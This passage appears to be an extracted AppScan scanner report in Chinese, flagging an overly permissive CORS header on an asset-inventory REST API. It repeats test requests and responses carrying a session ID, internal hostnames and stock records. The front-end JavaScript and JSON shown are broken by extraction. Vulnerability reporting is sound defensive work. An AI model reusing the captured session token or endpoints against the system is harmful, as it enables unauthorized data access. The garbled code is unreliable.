         url: goodsURL+"goodsRestApi/goodsList",
         border:false, //去掉border
         // 表格的头部,有多少列,就写多少
         columns: [{
         filed: "资产编码",
         name: "goodscode"
         filed: "拼音码",
         name: "opcode"
         filed: "资产名称",
         name: "goodsname"
         }, {
         filed: "规格",
         name: "goodsspec"
         }, {
         filed: "型号",
         name: "goodsmodel"
         filed: "资产分类",
```

```
name: "classname"
         filed: "产地",
         name: "prodarea"
         }, {
         filed: "状态",
         name: "status"
         }, {
         filed: "品牌",
         name: "brandname"
         filed: "财务编码",
         name: "barcode"
         }, {
         filed: "上限",
         name: "stupperlimit"
         filed: "下限",
         name: "stlowerlimit"
         filed: "大类码标记",
         name: "classcodeflag"
         }, {
         filed: "登记人",
         name: "inputmanname"
         filed: "登记时间",
         name: "bookindate"
         }, {
         filed: "id",
         name: "goodsid"
         }],
         columnDefs: [{ //隐藏列,序号+
         "targets": [3,8,12,13,14,17],
"visible": false
         }, {
         render: function(data, type, row) { // 格式化 列
         return new Date(data).Format("yyyy-MM-dd hh:mm:ss");
         targets: [16]
         }, { // 渲染列 格式化
         render: function(data, type, row) { // 格式化 列
         //return "<pp keyword=PUB_BASIC_NEW_STATUS>" + data + "</pp>"
              if(data==1){
                      return "正常";
               }else if(data==2){
                      return "冻结";
               }else{
                       return "";
         targets: [9]
         { // 渲染列 格式化
         render: function(data, type, row) { // 格式化 列
         if(data==undefined || data==null){
. . .
```

问题 9 / 51 Toc

过度许可的 CORS 访问测试	
严重性:	€ The state of th
CVSS 分数:	5.0
URL:	http://vr-goods-rest-enterprise.mall.xt.weilian.cn/goodsRestApi/getGoodsStockList
实体:	getGoodsStockList (Page)
A A	可能会收集有关 Web 应用程序的敏感信息,如用户名、密码、机器名和/或敏感文件位置可能会劝说初级用户提供诸如用户名、密码、信用卡号、社会保险号等敏感信息
原因:	Web 应用程序编程或配置不安全
固定值:	修改"Access-Control-Allow-Origin"头以仅获取允许的站点

变体-|1/9

差异:

推理: AppScan 检测到"Access-Control-Allow-Origin"头的许可权太多 测试请求和响应:

```
GET /goodsRestApi/getGoodsStockList?
draw=1&start=0&length=15&search%5Bvalue%5D=&search%5Breqex%5D=false&pageNum=1&searchValue=
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/57.0.2987.133 Safari/537.36
Referer: http://system-rest-enterprise.mall.xt.weilian.cn/static/index.html
Connection: keep-alive
Host: vr-goods-rest-enterprise.mall.xt.weilian.cn
Accept: application/json, text/javascript, */*; q=0.01
Origin: http://system-rest-enterprise.mall.xt.weilian.cn
Accept-Language: en-US, en; q=0.8
sessionId: c5b8689a1098705cd3ffdff0d57563a1
HTTP/1.1 200 OK
Access-Control-Allow-Headers: x-requested-with, content-type, sessionid
Server: openresty
Access-Control-Allow-Methods: GET, POST, HEAD, PUT, DELETE, OPTIONS
Access-Control-Allow-Origin: *
X-Hit-Server: nginx-2
Connection: keep-alive
Vary: Accept-Encoding
Date: Fri, 12 Jan 2018 03:10:51 GMT
Content-Type: application/json
Transfer-Encoding: chunked
 "code": null,
 "msg": null,
                   "startIndex": 0,
                   "pageSize": 15,
                   "totalCount": 72,
                   "results": [
                                      "enterpriseid": 55,
                                     "goodsid": 105190,
                                      "goodscode": "0200202",
                                      "goodsName": "werdhgf",
                                     "goodsunit": "gechi",
"goodsspec": "hh",
                                      "goodsmodel": "resadsa",
                                      "departmentid": 1670,
                                     "depotid": null,
"stockqty": 99999999.00,
```

```
"stayinqty": null,
 "stayoutqty": null,
 "presaleqty": null,
 "lostqty": null,
"lockqty": 0.00,
 "maySaleqty": 99999999.00,
"soldqty": 0.00
 "enterpriseid": 55,
 "goodsid": 105186,
 "goodscode": "0375346",
"goodsName": "
场法
                       场地",
 "goodsunit": "
                          小时",
 "goodsmodel": "",
 "departmentid": 1670,
 "depotid": null,
 "stockqty": 10000.00,
 "stayingty": null,
 "stayoutqty": null,
 "presaleqty": null,
"lostqty": null,
 "lockqty": 0.00,
 "maySaleqty": 10000.00,
 "soldqty": 0.00
 "enterpriseid": 55,
 "goodsid": 105184,
 "goodscode": "0300345",
"goodsName": " 会
"goodsunit": " 米
                        会场租用",
                          米",
  "goodsspec": "",
 "goodsmodel": "",
  "departmentid": 1670,
 "depotid": null,
 "stockqty": 0.00,
"stayinqty": null,
 "stayoutqty": null,
 "presaleqty": null,
 "lostqty": null,
 "lockqty": 0.00,
 "maySaleqty": 0.00,
 "soldqty": 0.00
"goodsid": 105183,
 "goodscode": "0300299",
"goodsName": " 工位租用",
  "goodsunit": "
  "goodsspec": "",
 "goodsmodel": "",
 "departmentid": 1670,
 "depotid": null,
"stockqty": 0.00,
 "stayinqty": null,
 "stayoutqty": null,
 "presaleqty": null,
 "lostqty": null,
"lockqty": 0.00,
 "maySaleqty": 0.00,
"soldqty": 0.00
 "enterpriseid": 55,
 "goodsid": 105182,
 "goodscode": "0300123", "goodsName": " 场
                      场地租用",
  "goodsunit": "
 "goodsamit":
"goodsspec": "",
"goodsmodel": "",
 "departmentid": 1670,
  "depotid": null,
  "stockqty": 0.00,
 "stayingty": null,
 "stayoutqty": null,
```

```
"presaleqty": null,
                                            "lostqty": null,
                                            "lockqty": 0.00,
                                            "maySaleqty": 0.00,
                                            "soldqty": 0.00
                                            "enterpriseid": 55,
                                            "goodsid": 105181,
                                           "goodsspec": "",
"goodsmodel": "",
                                            "departmentid": 1670,
                                            "depotid": null,
                                            "stockqty": 0.00,
                                            "stayingty": null,
                                            "stayoutqty": null,
                                            "presaleqty": null,
                                            "lostqty": null,
"lockqty": 0.00,
                                            "maySaleqty": 0.00,
                                            "soldqty": 0.00
                                            "enterpriseid": 55,
                                            "goodsid": 105180,
                                            "goodscode": "0120051",
"goodsName": " 专
                                                                   专用设备",
                                            "goodswalle": "
"goodsunit": "
"goodsspec": "",
                                                                       台",
                                            "goodsmodel": "",
                                            "departmentid": 1670,
                                            "depotid": null,
                                            "stockqty": 0.00,
"stayinqty": null,
                                            "stayoutqty": null,
                                            "presaleqty": null,
                                            "lostqty": null, "lockqty": 0.00,
                                            "maySaleqty": 0.00,
                                            "soldqty": 0.00
                                            "enterpriseid": 55,
                                           "goodsid": 105179,
"goodscode": "0120042",
"goodsName": " 家具用具及其他",
"goodsunit": " 把",
"goodsspec": " 家具",
                                            "goodsmodel": "PJ-2ID",
                                            "departmentid": 1670,
                                           "departmentia": null,
"depotid": null,
"stockqty": 0.00,
"stayinqty": null,
                                            "stayoutqty": null,
                                            "presaleqty": null,
                                            "lostqty": null,
                                           "lockqty": 0.00,
                                            "maySaleqty": 0.00,
                                            "soldqty": 0.00
                                            "enterpriseid": 55,
                                           "goodsid": 105178,
"goodscode": "0400101",
"goodsName": "20180111",
"goodsunit": "台",
                                            "goodsspec": "5.6
"goodsmodel": "6Plus",
                                            "departmentid": 1670,
                                            "depotid": null,
                                            "stockqty": 99999999.
. . .
. . .
```

变体-|2/9

差异:

推理: AppScan 检测到"Access-Control-Allow-Origin"头的许可权太多

测试请求和响应:

```
GET /goodsRestApi/getGoodsStockList?
draw=2&start=0&length=15&search%5Bvalue%5D=&search%5Bregex%5D=false&pageNum=1&searchValue=
HTTP/1.1
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko)
Chrome/57.0.2987.133 Safari/537.36
Referer: http://system-rest-enterprise.mall.xt.weilian.cn/static/index.html
Connection: keep-alive
{\tt Host: vr-goods-rest-enterprise.mall.xt.weilian.cn}
Accept: application/json, text/javascript, */*; q=0.01
Origin: http://system-rest-enterprise.mall.xt.weilian.cn
Accept-Language: en-US, en; q=0.8
sessionId: c5b8689a1098705cd3ffdff0d57563a1
HTTP/1 1 200 OK
Access-Control-Allow-Headers: x-requested-with, content-type, sessionid
Server: openresty
Access-Control-Allow-Methods: GET, POST, HEAD, PUT, DELETE, OPTIONS
Access-Control-Allow-Origin: *
X-Hit-Server: nginx-2
Connection: keep-alive
Vary: Accept-Encoding
Date: Fri, 12 Jan 2018 03:10:51 GMT
Content-Type: application/json
Transfer-Encoding: chunked
 "code": null,
 "msg": null,
"data": [
                  "startIndex": 0,
                  "pageSize": 15,
                  "totalCount": 72,
                  "results": [
                                   "enterpriseid": 55,
                                   "goodsid": 105190,
                                   "goodscode": "0200202",
                                   "goodsName": "werdhgf",
                                   "goodsunit": "gechi",
"goodsspec": "hh",
                                   "goodsmodel": "resadsa",
                                   "departmentid": 1670,
                                   "depotid": null,
                                   "stockqty": 99999999.00,
                                   "stayinqty": null,
"stayoutqty": null,
                                   "presaleqty": null,
                                   "lostqty": null,
                                   "lockqty": 0.00,
                                   "maySaleqty": 99999999.00,
                                   "soldqty": 0.00
                                   "enterpriseid": 55,
                                   "goodsid": 105186,
                                   "goodscode": "0375346",
                                   "goodsName": "
                                                     场地",
                                   "goodsunit": "
                                                         小时",
                                   "goodsspec": "",
                                   "goodsmodel": "",
                                   "departmentid": 1670,
```

```
"depotid": null,
"stockqty": 10000.00,
"stayinqty": null,
"stayoutqty": null,
"presaleqty": null,
"lostqty": null,
"lockqty": 0.00,
"maySaleqty": 10000.00,
"soldqty": 0.00
"enterpriseid": 55,
"goodsid": 105184,
"goodsode": "0300345",
"goodsName": " 会:
                     会场租用",
"goodsname":
"goodsunit":
"goodsspec":
"",
                         米",
"goodsmodel": "",
"departmentid": 1670,
"depotid": null,
"stockqty": 0.00,
"stayinqty": null,
"stayoutqty": null,
"presaleqty": null,
"lostqty": null,
"lockqty": 0.00,
"maySaleqty": 0.00,
"soldqty": 0.00
"enterpriseid": 55,
"goodsid": 105183,
"goodscode": "0300299",
"goodsName": " 工位租用",
"goodsunit": " 间",
"goodsspec": "",
"goodsmodel": "",
"departmentid": 1670,
"depotid": null,
"stockqty": 0.00,
"stayinqty": null,
"stayoutqty": null,
"presaleqty": null,
"lostqty": null,
"lockqty": 0.00,
"maySaleqty": 0.00,
"soldqty": 0.00
"enterpriseid": 55,
"goodsid": 105182,
"goodscode": "0300123",
"goodsName": " 场
                     场地租用",
"goodsunit": "
                         间",
"goodsmodel": "",
"departmentid": 1670,
"depotid": null,
"stockqty": 0.00,
"stayingty": null,
"stayoutqty": null,
"presaleqty": null,
"lostqty": null,
"lockqty": 0.00,
"maySaleqty": 0.00,
"soldqty": 0.00
"enterpriseid": 55,
"goodsid": 105181,
"goodsrd: 100181,
"goodscode": "0102226",
"goodsName": "交河
"goodsunit": "辆
                         交通运输设备",
                          辆",
"goodsspec": "",
"goodsmodel": "",
"departmentid": 1670,
"depotid": null,
"stockqty": 0.00,
```

```
"stayinqty": null,
                                       "stayoutqty": null,
                                       "presaleqty": null,
                                       "lostqty": null,
"lockqty": 0.00,
                                       "maySaleqty": 0.00,
"soldqty": 0.00
                                       "enterpriseid": 55,
                                       "goodsid": 105180,
                                       "goodscode": "0120051",
                                       "goodsName": "
                                                               专用设备",
                                       "goodsunit": "
                                                               台",
                                       "goodsspec": "",
                                       "goodsmodel": "",
                                       "departmentid": 1670,
                                       "depotid": null,
                                       "stockqty": 0.00,
                                       "stayingty": null,
                                       "stayoutqty": null,
                                       "presaleqty": null,
"lostqty": null,
                                       "lockqty": 0.00,
                                       "maySaleqty": 0.00,
                                       "soldqty": 0.00
                                       "enterpriseid": 55,
                                       "goodsid": 105179,
                                       "goodscode": "0120042",
"goodsName": " 家具用具及其他",
                                       "goodsunit": "
"goodsspec": "
                                                              把",
                                                               家具",
                                       "goodsmodel": "PJ-2ID",
                                       "departmentid": 1670,
                                       "depotid": null,
                                       "stockqty": 0.00,
"stayinqty": null,
                                       "stayoutqty": null,
                                       "presaleqty": null,
                                       "lostqty": null,
                                       "lockqty": 0.00,
                                       "maySaleqty": 0.00,
                                       "soldqty": 0.00
                                     "goodsid": 105178,
                                       "goodscode": "0400101",
"goodsName": "20180111",
                                       "goodsunit": "
"goodsspec": "5.6
                                                              台",
                                       "goodsmodel": "6Plus",
                                       "departmentid": 1670,
                                       "depotid": null,
"stockqty": 99999999.
. . .
```

变体-|3/9

差异:

推理: AppScan 检测到"Access-Control-Allow-Origin"头的许可权太多 测试请求和响应:

```
GET /goodsRestApi/getGoodsStockList?
draw=3&start=0&length=15&search%5Bregex%5D=false&pageNum=1&goodscode=fd&goodsname=&searchValue=
```

```
HTTP/1.1
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko)
Chrome/57.0.2987.133 Safari/537.36
Referer: http://system-rest-enterprise.mall.xt.weilian.cn/static/index.html
Connection: keep-alive
Host: vr-goods-rest-enterprise.mall.xt.weilian.cn
Accept: application/json, text/javascript, */*; q=0.01
Origin: http://system-rest-enterprise.mall.xt.weilian.cn
Accept-Language: en-US, en; q=0.8
sessionId: c5b8689a1098705cd3ffdff0d57563a1
HTTP/1.1 200 OK
Access-Control-Allow-Headers: x-requested-with,content-type,sessionid
Server: openresty
Access-Control-Allow-Methods: GET, POST, HEAD, PUT, DELETE, OPTIONS
Access-Control-Allow-Origin: *
X-Hit-Server: nginx-2
Connection: keep-alive
Vary: Accept-Encoding
Date: Fri, 12 Jan 2018 03:19:45 GMT
Content-Type: application/json
Transfer-Encoding: chunked
 "code": null,
 "msg": null,
 "data": [
                 "startIndex": 0,
                 "pageSize": 15,
                 "totalCount": 0,
                 "results": [
                 "showPageNumbers": [
                 "pageNo": 1,
                 "pageCount": 0,
                 "params": [
                                  "searchValue": ""
                 "paginationFlag": false,
                 "totalPageCount": 0,
                 "nextIndex": 15,
                 "page": 1,
                 "previousIndex": 0
 "html": null
```

变体-|4/9

差异:

推理: AppScan 检测到"Access-Control-Allow-Origin"头的许可权太多 测试请求和响应:

```
GET /goodsRestApi/getGoodsStockList?
draw=4&start=0&length=15&search%5Bregex%5D=false&pageNum=1&goodscode=fd&goodsname=&searchValue=
HTTP/1.1
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko)
Chrome/57.0.2987.133 Safari/537.36
Referer: http://system-rest-enterprise.mall.xt.weilian.cn/static/index.html
Connection: keep-alive
Host: vr-goods-rest-enterprise.mall.xt.weilian.cn
```

```
Accept: application/json, text/javascript, */*; q=0.01
Origin: http://system-rest-enterprise.mall.xt.weilian.cn
Accept-Language: en-US, en; q=0.8
sessionId: c5b8689a1098705cd3ffdff0d57563a1
HTTP/1 1 200 OK
Access-Control-Allow-Headers: x-requested-with, content-type, sessionid
Server: openresty
Access-Control-Allow-Methods: GET, POST, HEAD, PUT, DELETE, OPTIONS
Access-Control-Allow-Origin: *
X-Hit-Server: nginx-2
Connection: keep-alive
Vary: Accept-Encoding
Date: Fri, 12 Jan 2018 03:19:45 GMT
Content-Type: application/json
Transfer-Encoding: chunked
 "code": null,
 "msg": null,
 "data": [
                 "startIndex": 0,
                 "pageSize": 15,
                 "totalCount": 0,
                 "results": [
                 "showPageNumbers": [
                 "pageNo": 1,
                 "pageCount": 0,
                 "params": [
                                  "searchValue": ""
                                }
                 "paginationFlag": false,
                 "totalPageCount": 0,
                 "nextIndex": 15,
                 "page": 1,
                 "previousIndex": 0
 "html": null
```

变体-|5/9

差异:

推理: AppScan 检测到"Access-Control-Allow-Origin"头的许可权太多 测试请求和响应:

```
GET /goodsRestApi/getGoodsStockList?
draw=5&start=0&length=15&search%5Bregex%5D=false&pageNum=1&goodscode=&goodsname=&searchValue=
HTTP/1.1
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko)
Chrome/57.0.2987.133 Safari/537.36
Referer: http://system-rest-enterprise.mall.xt.weilian.cn/static/index.html
Connection: keep-alive
Host: vr-goods-rest-enterprise.mall.xt.weilian.cn
Accept: application/json, text/javascript, */*; q=0.01
Origin: http://system-rest-enterprise.mall.xt.weilian.cn
Accept-Language: en-US,en;q=0.8
sessionId: c5b8689a1098705cd3ffdff0d57563a1
```

```
HTTP/1.1 200 OK
Access-Control-Allow-Headers: x-requested-with, content-type, sessionid
Server: openresty
Access-Control-Allow-Methods: GET, POST, HEAD, PUT, DELETE, OPTIONS
Access-Control-Allow-Origin: *
X-Hit-Server: nginx-2
Connection: keep-alive
Vary: Accept-Encoding
Date: Fri, 12 Jan 2018 03:10:51 GMT
Content-Type: application/json
Transfer-Encoding: chunked
 "code": null,
 "msg": null,
"data": [
                   "startIndex": 0,
                   "pageSize": 15,
                   "totalCount": 72,
                   "results": [
                                      "enterpriseid": 55,
                                      "goodsid": 105190,
                                      "goodscode": "0200202",
"goodsName": "werdhgf",
                                      "goodsunit": "gechi",
"goodsspec": "hh",
                                      "goodsmodel": "resadsa",
                                      "departmentid": 1670,
                                     "depotid": null,
"stockqty": 99999999.00,
"stayinqty": null,
                                      "stayoutqty": null,
                                      "presaleqty": null,
                                     "lostqty": null,
"lockqty": 0.00,
                                      "maySaleqty": 99999999.00,
                                      "soldqty": 0.00
                                      "enterpriseid": 55,
                                      "goodsid": 105186,
                                      "goodscode": "0375346",
                                      "goodsName": "
                                      "goodsunit": "
                                                              小时",
                                      "goodsspec": "",
                                      "goodsmodel": "",
                                      "departmentid": 1670,
                                      "depotid": null,
                                      "stockqty": 10000.00,
                                      "stayingty": null,
                                      "stayoutqty": null,
                                      "presaleqty": null,
"lostqty": null,
                                      "lockqty": 0.00,
                                      "maySaleqty": 10000.00,
                                      "soldqty": 0.00
                                      "enterpriseid": 55,
                                      "goodsid": 105184,
                                      "goodscode": "0300345",
"goodsName": "会
                                                           会场租用",
                                      "goodsunit": "
                                                              米",
                                      "goodsspec": "",
                                      "goodsmodel": "",
                                      "departmentid": 1670,
                                      "depotid": null,
                                      "stockqty": 0.00,
"stayinqty": null,
                                      "stayoutqty": null,
                                      "presaleqty": null,
                                      "lostqty": null,
                                      "lockqty": 0.00,
                                      "maySaleqty": 0.00,
                                      "soldqty": 0.00
```

```
"enterpriseid": 55,
    "goodsid": 105183,
    工位租用",
    "goodsunit": "
    "goodsmodel": "",
    "departmentid": 1670,
    "depotid": null,
    "stockqty": 0.00,
    "stayingty": null,
    "stayoutqty": null,
    "presaleqty": null,
   "lostqty": null,
"lockqty": 0.00,
   "maySaleqty": 0.00,
    "soldqty": 0.00
    "enterpriseid": 55,
  "goodsid": 105182,
"goodscode": "0300123",
"goodsName": "
"goodsunit": "
illigoodsunit": "
illigoodsu
                                                          场地租用",
                                                                      间",
    "goodsspec": "",
    "goodsmodel": "",
    "departmentid": 1670,
    "depotid": null,
"stockqty": 0.00,
  "stayinqty": null,
"stayoutqty": null,
"presaleqty": null,
  "lostqty": null,
"lockqty": 0.00,
    "maySaleqty": 0.00,
   "soldqty": 0.00
"goodsid": 105181,
  "goodscode": "0102226",
"goodsName": "交通运输设备",
"goodsunit": " 辆",
    "goodsspec": "",
"goodsmodel": "",
    "departmentid": 1670,
    "depotid": null,
    "stockqty": 0.00,
    "stayingty": null,
    "stayoutqty": null,
    "presaleqty": null,
    "lostqty": null,
    "lockqty": 0.00,
    "maySaleqty": 0.00,
    "soldqty": 0.00
    "enterpriseid": 55,
   "goodsid": 105180,
    "goodscode": "0120051",
"goodsName": " 专用设备",
    "goodswalle": "
"goodsunit": "
"goodsspec": "",
                                                                      台",
    "goodsmodel": "",
    "departmentid": 1670,
    "depotid": null,
   "stockqty": 0.00,
"stayinqty": null,
    "stayoutqty": null,
    "presaleqty": null,
   "lostqty": null, "lockqty": 0.00,
  "maySaleqty": 0.00,
    "soldqty": 0.00
    "enterpriseid": 55,
```

```
"goodsid": 105179,
                                               "goods1d: 1001/79,
"goodscode": "0120042",
"goodsName": " 家具用具及其他",
"goodsunit": " 把",
"goodsspec": " 家具",
                                                "goodsmodel": "PJ-2ID",
                                               "departmentid": 1670,
                                               "depotid": null,
"stockqty": 0.00,
                                               "stayinqty": null,
                                               "stayoutqty": null,
                                                "presaleqty": null,
                                               "lostqty": null,
"lockqty": 0.00,
                                               "maySaleqty": 0.00,
"soldqty": 0.00
                                               "enterpriseid": 55,
                                               "goodsid": 105178,
                                               "goodscode": "0400101",
                                               "goodsName": "20180111",
"goodsunit": "台"
                                                                         台",
寸",
                                               "goodsspec": "5.6
"goodsmodel": "6Plus",
                                               "departmentid": 1670,
                                               "depotid": null,
                                               "stockqty": 999999
. . .
```

变体-|6/9

差异:

推理: AppScan 检测到"Access-Control-Allow-Origin"头的许可权太多 测试请求和响应:

```
GET /goodsRestApi/getGoodsStockList?
\label{lem:draw=6} draw=6 \& start=0 \& length=15 \& search \% 5 Bregex \% 5 D=false \& pageNum=1 \& goodscode=\& goodsname=\& search Value=1 Argondscode=\& goodsname=Argondscode=Argondscode=Argondscode=Argondscode=Argondscode=Argondscode=Argondscode=Argondscode=Argondscode=Argondscode=Argondscode=Argondscode=Argondscode=Argondscode=Argondscode=Argondscode=Argondscode=Argondscode=Argondscode=Argondscode=Argondscode=Argondscode=Argondscode=Argondscode=Argondscode=Argondscode=Argondscode=Argondscode=Argondscode=Argondscode=Argondscode=Argondscode=Argondscode=Argondscode=Argondscode=Argondscode=Argondscode=Argondscode=Argondscode=Argondscode=Argondscode=Argondscode=Argondscode=Argondscode=Argondscode=Argondscode=Argondscode=Argondscode=Argondscode=Argondscode=Argondscode=Argondscode=Argondscode=Argondscode=Argondscode=Argondscode=Argondscode=Argondscode=Argondscode=Argondscode=Argondscode=Argondscode=Argondscode=Argondscode=Argondscode=Argondscode=Argondscode=Argondscode=Argondscode=Argondscode=Argondscode=Argondscode=Argondscode=Argondscode=Argondscode=Argondscode=Argondscode=Argondscode=Argondscode=Argondscode=Argondscode=Argondscode=Argondscode=Argondscode=Argondscode=Argondscode=Argondscode=Argondscode=Argondscode=Argondscode=Argondscode=Argondscode=Argondscode=Argondscode=Argondscode=Argondscode=Argondscode=Argondscode=Argondscode=Argondscode=Argondscode=Argondscode=Argondscode=Argondscode=Argondscode=Argondscode=Argondscode=Argondscode=Argondscode=Argondscode=Argondscode=Argondscode=Argondscode=Argondscode=Argondscode=Argondscode=Argondscode=Argondscode=Argondscode=Argondscode=Argondscode=Argondscode=Argondscode=Argondscode=Argondscode=Argondscode=Argondscode=Argondscode=Argondscode=Argondscode=Argondscode=Argondscode=Argondscode=Argondscode=Argondscode=Argondscode=Argondscode=Argondscode=Argondscode=Argondscode=Argondscode=Argondscode=Argondscode=Argondscode=Argondscode=Argondscode=Argondscode=Argondscode=Argondscode=Argondscode=Argondscode=Argondscode=Argondscode=Argondscode=Argondscode=Argondscode=Argondscode=Arg
HTTP/1.1
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko)
Chrome/57.0.2987.133 Safari/537.36
Referer: http://system-rest-enterprise.mall.xt.weilian.cn/static/index.html
Connection: keep-alive
Host: vr-goods-rest-enterprise.mall.xt.weilian.cn
Accept: application/json, text/javascript, */*; q=0.01
Origin: http://system-rest-enterprise.mall.xt.weilian.cn
Accept-Language: en-US, en; q=0.8
sessionId: c5b8689a1098705cd3ffdff0d57563a1
HTTP/1.1 200 OK
Access-Control-Allow-Headers: x-requested-with, content-type, sessionid
Server: openresty
Access-Control-Allow-Methods: GET, POST, HEAD, PUT, DELETE, OPTIONS
Access-Control-Allow-Origin: *
X-Hit-Server: nginx-2
Connection: keep-alive
Vary: Accept-Encoding
Date: Fri, 12 Jan 2018 03:10:51 GMT
Content-Type: application/json
Transfer-Encoding: chunked
   "code": null,
   "msg": null,
   "data": [
```

```
"startIndex": 0,
"pageSize": 15,
"totalCount": 72,
"results": [
                    "enterpriseid": 55,
                    "goodsid": 105190,
                    "goods1d": 105190,
"goodscode": "0200202",
"goodsName": "werdhgf",
"goodsunit": "gechi",
"goodsspec": "hh",
"goodsmodel": "resadsa",
                    "departmentid": 1670,
                    "depotid": null,
                    "stockqty": 9999999.00,
"stayinqty": null,
                    "stayoutqty": null,
                    "presaleqty": null,
                    "lostqty": null,
                    "lockqty": 0.00,
                    "maySaleqty": 99999999.00,
                    "soldqty": 0.00
                  "goodsid": 105186,
                    "goodscode": "0375346",
"goodsName": " 场地",
                    "goodsunit": "
                                              小时",
                    "goodsspec": "",
                    "goodsmodel": "",
                    "departmentid": 1670,
                    "depotid": null,
                    "stockqty": 10000.00,
                    "stayinqty": null,
                    "stayoutqty": null,
                    "presaleqty": null,
                    "lostqty": null,
"lockqty": 0.00,
                    "maySaleqty": 10000.00,
                    "soldqty": 0.00
                    "enterpriseid": 55,
                    "goodsid": 105184,
                    "goodsode": "0300345",
"goodsName": " 会:
                                          会场租用",
                    "goodsunit": "
                                              米",
                    "goodsspec": "",
                    "goodsmodel": "",
                    "departmentid": 1670,
                    "depotid": null,
                    "stockqty": 0.00,
                    "stayinqty": null,
"stayoutqty": null,
                    "presaleqty": null,
                    "lostqty": null,
"lockqty": 0.00,
                    "maySaleqty": 0.00,
                    "soldqty": 0.00
                    "enterpriseid": 55,
"goodsid": 105183,
                    "goodscode": "0300299",
"goodsName": " 工位租用",
"goodsunit": " 闻",
                    "goodsspec": "",
                    "goodsmodel": "",
                    "departmentid": 1670,
                    "depotid": null,
                    "stockqty": 0.00,
"stayinqty": null,
                    "stayoutqty": null,
                    "presaleqty": null,
                    "lostqty": null,
                    "lockqty": 0.00,
                    "maySaleqty": 0.00,
```

```
"soldqty": 0.00
"enterpriseid": 55,
"goodsid": 105182,
"goodscode": "0300123", "goodsName": " 场:
                       场地租用",
"goodsname": "
"goodsspec": "",
"goodsmodel": "",
                          间",
"departmentid": 1670,
"depotid": null,
"stockqty": 0.00,
"stayinqty": null,
"stayoutqty": null,
"presaleqty": null,
"lostqty": null,
"lockqty": 0.00,
"maySaleqty": 0.00,
"soldqty": 0.00
"enterpriseid": 55,
"goodsspec": "",
"goodsmodel": "",
"departmentid": 1670,
"depotid": null,
"stockqty": 0.00,
"stayinqty": null,
"stayoutqty": null,
"presaleqty": null,
"lostqty": null,
"lockqty": 0.00,
"maySaleqty": 0.00,
"soldqty": 0.00
"enterpriseid": 55,
"goodsid": 105180,
"goodscode": "0120051",
"goodsName": " 专
"goodsunit": " 台
                          专用设备",
                           台",
"goodsmodel": "",
"departmentid": 1670,
"depotid": null,
"stockqty": 0.00,
"stayingty": null,
"stayoutqty": null,
"presaleqty": null,
"lostqty": null,
"lockqty": 0.00,
"maySaleqty": 0.00,
"soldqty": 0.00
"enterpriseid": 55,
"goodsid": 105179,
"goodsld": 1051/9,
"goodscode": "0120042",
"goodsName": " 家具用具及其他",
"goodsunit": " 把",
"goodsspec": " 家具",
"goodsmodel": "PJ-2ID",
"departmentid": 1670,
"depotid": null,
"stockqty": 0.00,
"stayinqty": null,
"stayoutqty": null,
"presaleqty": null,
"lostqty": null,
"lockqty": 0.00,
"maySaleqty": 0.00,
"soldqty": 0.00
```

```
{
    "enterpriseid": 55,
    "goodsid": 105178,
    "goodscode": "0400101",
    "goodsName": "20180111",
    "goodsunit": " 台",
    "goodsspec": "5.6 寸",
    "goodsmodel": "6Plus",
    "departmentid": 1670,
    "depotid": null,
    "stockqty": 999999
```

变体-|7/9

差异:

推理: AppScan 检测到"Access-Control-Allow-Origin"头的许可权太多 测试请求和响应:

```
GET /goodsRestApi/getGoodsStockList?
\label{lem:continuous} draw=1\&start=0\&length=15\&search\%5Bvalue\%5D=\&search\%5Bregex\%5D=false\&pageNum=1\&searchValue=1&searchValue=1&searchValue=1&searchValue=1&searchValue=1&searchValue=1&searchValue=1&searchValue=1&searchValue=1&searchValue=1&searchValue=1&searchValue=1&searchValue=1&searchValue=1&searchValue=1&searchValue=1&searchValue=1&searchValue=1&searchValue=1&searchValue=1&searchValue=1&searchValue=1&searchValue=1&searchValue=1&searchValue=1&searchValue=1&searchValue=1&searchValue=1&searchValue=1&searchValue=1&searchValue=1&searchValue=1&searchValue=1&searchValue=1&searchValue=1&searchValue=1&searchValue=1&searchValue=1&searchValue=1&searchValue=1&searchValue=1&searchValue=1&searchValue=1&searchValue=1&searchValue=1&searchValue=1&searchValue=1&searchValue=1&searchValue=1&searchValue=1&searchValue=1&searchValue=1&searchValue=1&searchValue=1&searchValue=1&searchValue=1&searchValue=1&searchValue=1&searchValue=1&searchValue=1&searchValue=1&searchValue=1&searchValue=1&searchValue=1&searchValue=1&searchValue=1&searchValue=1&searchValue=1&searchValue=1&searchValue=1&searchValue=1&searchValue=1&searchValue=1&searchValue=1&searchValue=1&searchValue=1&searchValue=1&searchValue=1&searchValue=1&searchValue=1&searchValue=1&searchValue=1&searchValue=1&searchValue=1&searchValue=1&searchValue=1&searchValue=1&searchValue=1&searchValue=1&searchValue=1&searchValue=1&searchValue=1&searchValue=1&searchValue=1&searchValue=1&searchValue=1&searchValue=1&searchValue=1&searchValue=1&searchValue=1&searchValue=1&searchValue=1&searchValue=1&searchValue=1&searchValue=1&searchValue=1&searchValue=1&searchValue=1&searchValue=1&searchValue=1&searchValue=1&searchValue=1&searchValue=1&searchValue=1&searchValue=1&searchValue=1&searchValue=1&searchValue=1&searchValue=1&searchValue=1&searchValue=1&searchValue=1&searchValue=1&searchValue=1&searchValue=1&searchValue=1&searchValue=1&searchValue=1&searchValue=1&searchValue=1&searchValue=1&searchValue=1&searchValue=1&searchValue=1&searchValue=1&searchValue=1&searchValue=1&searchValue=1&searchValue
HTTP/1.1
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko)
Chrome/57.0.2987.133 Safari/537.36
Referer: http://system-rest-enterprise.mall.xt.weilian.cn/static/index.html
Connection: keep-alive
Host: vr-goods-rest-enterprise.mall.xt.weilian.cn
Accept: application/json, text/javascript, */*; q=0.01
Accept-Language: en-US, en; q=0.8
sessionId: c5b8689a1098705cd3ffdff0d57563a1
HTTP/1.1 200 OK
